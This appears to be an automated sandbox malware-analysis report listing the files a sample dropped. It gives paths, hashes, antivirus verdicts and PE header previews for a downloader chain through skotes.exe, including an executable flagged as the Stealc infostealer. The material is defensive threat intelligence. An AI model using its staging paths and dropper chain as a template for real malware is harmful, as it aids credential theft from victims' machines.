SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3000320
Entropy (8bit):	6.560160952438143
Encrypted:	false
SSDEEP:	24576:1Mhgt9ax/IZHpQjwUKKDGlRfq25v4hSmtafwLf/zVCHXhBo6+t4PnRzx+OZunF/p:1MS2x/SHp8AsS8a0KNPRx+OsBdCUwe/
MD5:	B46936CFFDC42CDAE5D2AC630D4D2EA3
SHA1:	A87E810985EB35B5350808A3ADC7DEB93971B454
SHA-256:	D002A44CF998112F91A5A11BFDE4320AB66CD0D21BAB15B908827165DF5B4FB6
SHA-512:	8FEC7FA2ABD7D023224F57D27A843CD742AA5FDC988DCD353E679FC360BDC8DA4E2F1BD75EA42C09F63A67F4F077633172620EB4909B3ED218B5B060F50511FE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................1.....G.....@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...uqtmlxsm..+.......+.................@...mzkwthef......0.......-.............@....taggant.0....0.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\Loader_seyhhd[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3653120
Entropy (8bit):	7.965120976822778
Encrypted:	false
SSDEEP:	49152:gOWEd7uyb66vtNOeRohANG6POCJ3xBaInIl3dOGKpW8tchWqVAMbv+:LWEJhbBRovCJ3xB1nhWdhWqVxq
MD5:	D51EB63974474A6E7547C8F3EE8F5C93
SHA1:	858252C9D48B5849176B19DC464AF8A3CE9D6568
SHA-256:	CBB2935E499F3C88E862BDD46F5710774B232AA9BA85CC30006236A6F4503DB2
SHA-512:	89B7538C3E074BE0A4872768B2A36527AF06F47137010E1BB8BF8263CB6D1BA3C5158666B79779589DB50EB97CEA765AAF49953FA918630E12C0C037C4704205
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 24%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....."g.........."....(.....V.......f&........@..............................X...........`.................................................(.P.T.....X......sX..1............X.T...................................PrX.@.............!.(............................text............................... ..`.rdata..:=..........................@..@.data...............................@....pdata..............................@..@._/b................................ ..`.DIl..........!.....................@....abx......7...!...7.................`..h.reloc..T.....X.......7.............@..@.rsrc.........X.......7.............@..@........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2133504
Entropy (8bit):	7.959921932136577
Encrypted:	false
SSDEEP:	49152:h1+qg44LJEqJp6n8a0zZ+RgdSeiZbXFERHZv4CPVoKp54wkR:X+k4LJnJpMzsVQ9bVA5QCPFpmw
MD5:	7FD1B88D3618D5BA66748524407B39CA
SHA1:	BBC226DE21FB0811BC5EFE474D5A20231379F6CC
SHA-256:	81F6B25288157D9371ED054C3A91066E6EB5EACAECA7ADEA99EED801BBB64B35
SHA-512:	98236B53044BB28401E74CC2FD4232A764E26899A5FD8F81E63775A7B2D2D0ECE74A3F48DD77E950318324303D959E38C0285CF6B0F02EE7292AD095E80E4BFC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@...........................s.....FD!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... .P*.........................@...dehzcbgt......X.....................@...tgbizlmw......r......h .............@....taggant.0....r.."...l .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\configuredInstallerEXE[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7758336
Entropy (8bit):	7.985272999024425
Encrypted:	false
SSDEEP:	196608:syjgannFHyYbKTdMWMmWnK4wWRKPcsNmy8dM:9MadyYbeMWLWnK4ZRK0gnQ
MD5:	2866119CCFAF95432837498B3B31B387
SHA1:	56F343F4BA3519574B27B10D5D4F162EBF7574C2
SHA-256:	1031B09575DB2DFF08E1C1021890036F1A0AF89DE0EB0990BD56D39E40BCB67F
SHA-512:	2192DA7538A07C0E3B24FE40015F36C8D791A3B9E398DC4DA4031646F36EAEA67D33A4E46B184800B1DE2C1280553392F3356F18DDE844087BA513AE7F1ABDD2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........?...Q..Q..Q...R..Q...T.).Q...U..Q.W.R..Q.W.U..Q.W.T..Q...P..Q..P...Q..X..Q..Q..Q.....Q..S..Q.Rich..Q.........................PE..d...g..g.........."....(......s...............@..............................v...........`.............................................P.......(.....v......pv.4&............v.X......p...............................@............... ............................text... ........................... ..`.rdata..H...........................@..@.data.....r......br.................@....pdata..4&...pv..(....v.............@..@.rsrc.........v......Vv.............@..@.reloc..X.....v......Xv.............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584668748342148
Encrypted:	false
SSDEEP:	12288:bqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/Tw:bqDEvCTbMWu7rQYlBQcBiT6rprG8abw
MD5:	DF53E224B7EC467A1AC0728FCA54456D
SHA1:	3E9A3DED74A890CE8A5045297759B5A380B0BC2E
SHA-256:	C0C74C1E71D23D484BFD9D6B6CD3F5BACED40CBE19345991E9F1981BD20EDF8C
SHA-512:	1966DFCDBB317761F4340EC164215027EE59755507043219422B820575592E12BB2FFBC63E420076F769A210FF7033975DC53F757512E326489FA6C7102C3D9E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....."g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7758336
Entropy (8bit):	7.985272999024425
Encrypted:	false
SSDEEP:	196608:syjgannFHyYbKTdMWMmWnK4wWRKPcsNmy8dM:9MadyYbeMWLWnK4ZRK0gnQ
MD5:	2866119CCFAF95432837498B3B31B387
SHA1:	56F343F4BA3519574B27B10D5D4F162EBF7574C2
SHA-256:	1031B09575DB2DFF08E1C1021890036F1A0AF89DE0EB0990BD56D39E40BCB67F
SHA-512:	2192DA7538A07C0E3B24FE40015F36C8D791A3B9E398DC4DA4031646F36EAEA67D33A4E46B184800B1DE2C1280553392F3356F18DDE844087BA513AE7F1ABDD2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........?...Q..Q..Q...R..Q...T.).Q...U..Q.W.R..Q.W.U..Q.W.T..Q...P..Q..P...Q..X..Q..Q..Q.....Q..S..Q.Rich..Q.........................PE..d...g..g.........."....(......s...............@..............................v...........`.............................................P.......(.....v......pv.4&............v.X......p...............................@............... ............................text... ........................... ..`.rdata..H...........................@..@.data.....r......br.................@....pdata..4&...pv..(....v.............@..@.rsrc.........v......Vv.............@..@.reloc..X.....v......Xv.............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3653120
Entropy (8bit):	7.965120976822778
Encrypted:	false
SSDEEP:	49152:gOWEd7uyb66vtNOeRohANG6POCJ3xBaInIl3dOGKpW8tchWqVAMbv+:LWEJhbBRovCJ3xB1nhWdhWqVxq
MD5:	D51EB63974474A6E7547C8F3EE8F5C93
SHA1:	858252C9D48B5849176B19DC464AF8A3CE9D6568
SHA-256:	CBB2935E499F3C88E862BDD46F5710774B232AA9BA85CC30006236A6F4503DB2
SHA-512:	89B7538C3E074BE0A4872768B2A36527AF06F47137010E1BB8BF8263CB6D1BA3C5158666B79779589DB50EB97CEA765AAF49953FA918630E12C0C037C4704205
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....."g.........."....(.....V.......f&........@..............................X...........`.................................................(.P.T.....X......sX..1............X.T...................................PrX.@.............!.(............................text............................... ..`.rdata..:=..........................@..@.data...............................@....pdata..............................@..@._/b................................ ..`.DIl..........!.....................@....abx......7...!...7.................`..h.reloc..T.....X.......7.............@..@.rsrc.........X.......7.............@..@........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3000320
Entropy (8bit):	6.560160952438143
Encrypted:	false
SSDEEP:	24576:1Mhgt9ax/IZHpQjwUKKDGlRfq25v4hSmtafwLf/zVCHXhBo6+t4PnRzx+OZunF/p:1MS2x/SHp8AsS8a0KNPRx+OsBdCUwe/
MD5:	B46936CFFDC42CDAE5D2AC630D4D2EA3
SHA1:	A87E810985EB35B5350808A3ADC7DEB93971B454
SHA-256:	D002A44CF998112F91A5A11BFDE4320AB66CD0D21BAB15B908827165DF5B4FB6
SHA-512:	8FEC7FA2ABD7D023224F57D27A843CD742AA5FDC988DCD353E679FC360BDC8DA4E2F1BD75EA42C09F63A67F4F077633172620EB4909B3ED218B5B060F50511FE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................1.....G.....@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...uqtmlxsm..+.......+.................@...mzkwthef......0.......-.............@....taggant.0....0.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2133504
Entropy (8bit):	7.959921932136577
Encrypted:	false
SSDEEP:	49152:h1+qg44LJEqJp6n8a0zZ+RgdSeiZbXFERHZv4CPVoKp54wkR:X+k4LJnJpMzsVQ9bVA5QCPFpmw
MD5:	7FD1B88D3618D5BA66748524407B39CA
SHA1:	BBC226DE21FB0811BC5EFE474D5A20231379F6CC
SHA-256:	81F6B25288157D9371ED054C3A91066E6EB5EACAECA7ADEA99EED801BBB64B35
SHA-512:	98236B53044BB28401E74CC2FD4232A764E26899A5FD8F81E63775A7B2D2D0ECE74A3F48DD77E950318324303D959E38C0285CF6B0F02EE7292AD095E80E4BFC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@...........................s.....FD!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... .P*.........................@...dehzcbgt......X.....................@...tgbizlmw......r......h .............@....taggant.0....r.."...l .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584668748342148
Encrypted:	false
SSDEEP:	12288:bqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/Tw:bqDEvCTbMWu7rQYlBQcBiT6rprG8abw
MD5:	DF53E224B7EC467A1AC0728FCA54456D
SHA1:	3E9A3DED74A890CE8A5045297759B5A380B0BC2E
SHA-256:	C0C74C1E71D23D484BFD9D6B6CD3F5BACED40CBE19345991E9F1981BD20EDF8C
SHA-512:	1966DFCDBB317761F4340EC164215027EE59755507043219422B820575592E12BB2FFBC63E420076F769A210FF7033975DC53F757512E326489FA6C7102C3D9E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....."g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002758001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002758001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1864192
Entropy (8bit):	7.949268698097214
Encrypted:	false
SSDEEP:	49152:LaZ9FBMI0V9n1hf3P1+ZUCm8Sl6EUX79CeCXqiM:Lg9zeJz1+ZTmHtU36U
MD5:	6103F5423F45BC980683947A92E84BCE
SHA1:	9FD569E7A11BF99A7AAE850B040E312E495575DD
SHA-256:	CC998F4C70F7F1AE0421DEF96970D66F6C97A3B606B0F9DA80DD0C819E4BC1C4
SHA-512:	F46C23046F492C9C96F139F0D1AA91DB26F280F7A5C0F8E95E4D1E340D341888124DA9DD7E4A3A7DA783B0604A6A54961EB86F6B9463A2777F69F4E49E7CAE10
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................I...........@...........................J...........@.................................W...k...........................<.I..............................I..................................................... . ............................@....rsrc...............................@....idata ............................@... ..).........................@...ifrehnre.`...p0..T..................@...zamtwnup......I......J..............@....taggant.0....I.."...P..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2882048
Entropy (8bit):	6.527591688796008
Encrypted:	false
SSDEEP:	49152:HubA0iUUJgNtheA030z8zO6Z/d2HUNofQLAMlN:ObA0iUUJuev30zeO69oHUNoY
MD5:	206A7FA3578F27CD6E06D5D1F3AE8224
SHA1:	8A80C43B84A27FA5127A475A108C97860E05F2BC
SHA-256:	D392CB764AFBB918ECCB7E6163AC80A7F29D3E925097E16B5262D280CAB74F2A
SHA-512:	D6CFDFC2B59B060D076817CEE6C8CA30CEBAEB0EA1D14405E367736596F306DEA50BEDDE86A2A1129170194ACDAA55B01BE552AD9AA2D48BBEBEF30B3495DF45
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`,.. ...`....@.. ........................,......n,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...aejguxos..+.......+..:..............@...ewwuwcmc. ...@,.......+.............@....taggant.@...`,.."....+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1864192
Entropy (8bit):	7.949268698097214
Encrypted:	false
SSDEEP:	49152:LaZ9FBMI0V9n1hf3P1+ZUCm8Sl6EUX79CeCXqiM:Lg9zeJz1+ZTmHtU36U
MD5:	6103F5423F45BC980683947A92E84BCE
SHA1:	9FD569E7A11BF99A7AAE850B040E312E495575DD
SHA-256:	CC998F4C70F7F1AE0421DEF96970D66F6C97A3B606B0F9DA80DD0C819E4BC1C4
SHA-512:	F46C23046F492C9C96F139F0D1AA91DB26F280F7A5C0F8E95E4D1E340D341888124DA9DD7E4A3A7DA783B0604A6A54961EB86F6B9463A2777F69F4E49E7CAE10
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................I...........@...........................J...........@.................................W...k...........................<.I..............................I..................................................... . ............................@....rsrc...............................@....idata ............................@... ..).........................@...ifrehnre.`...p0..T..................@...zamtwnup......I......J..............@....taggant.0....I.."...P..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9795
Entropy (8bit):	5.506650219677073
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXK5kHWNBw8M4Sl:PeegJUapHEwU0
MD5:	CC2BCD5656B4B0CCC3B6006C5A3F33F4
SHA1:	C82B41AF02398A4A3C0EF372E3DFFAA282570236
SHA-256:	13936407CE217C20C92B788EF7F7A8EB160BF2201E02332569D1F6CCBDCABA76
SHA-512:	CCD838892A526990EF4683F8E1844658297BCC142B0CFF8E9420BB093A71F46DCBF2DED86AA8109DAC21A8277D9565808738D5A46F1CACE38CF45701847079C5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9795
Entropy (8bit):	5.506650219677073
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXK5kHWNBw8M4Sl:PeegJUapHEwU0
MD5:	CC2BCD5656B4B0CCC3B6006C5A3F33F4
SHA1:	C82B41AF02398A4A3C0EF372E3DFFAA282570236
SHA-256:	13936407CE217C20C92B788EF7F7A8EB160BF2201E02332569D1F6CCBDCABA76
SHA-512:	CCD838892A526990EF4683F8E1844658297BCC142B0CFF8E9420BB093A71F46DCBF2DED86AA8109DAC21A8277D9565808738D5A46F1CACE38CF45701847079C5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.136624295551173
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AY:Y9KQOy6Lb1BA+9
MD5:	EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA1:	B43BC4B3EA206A02EF8F63D5BFAD0C96BF2A3B2A
SHA-256:	792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
SHA-512:	076EE83534F42563046D25086166F82E1A3EC61840C113AEC67ABE2D8195DAA247D827D0C54E7E8F8A1BBF2D082A3763577587E84342EC160FF97905243E6D19
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
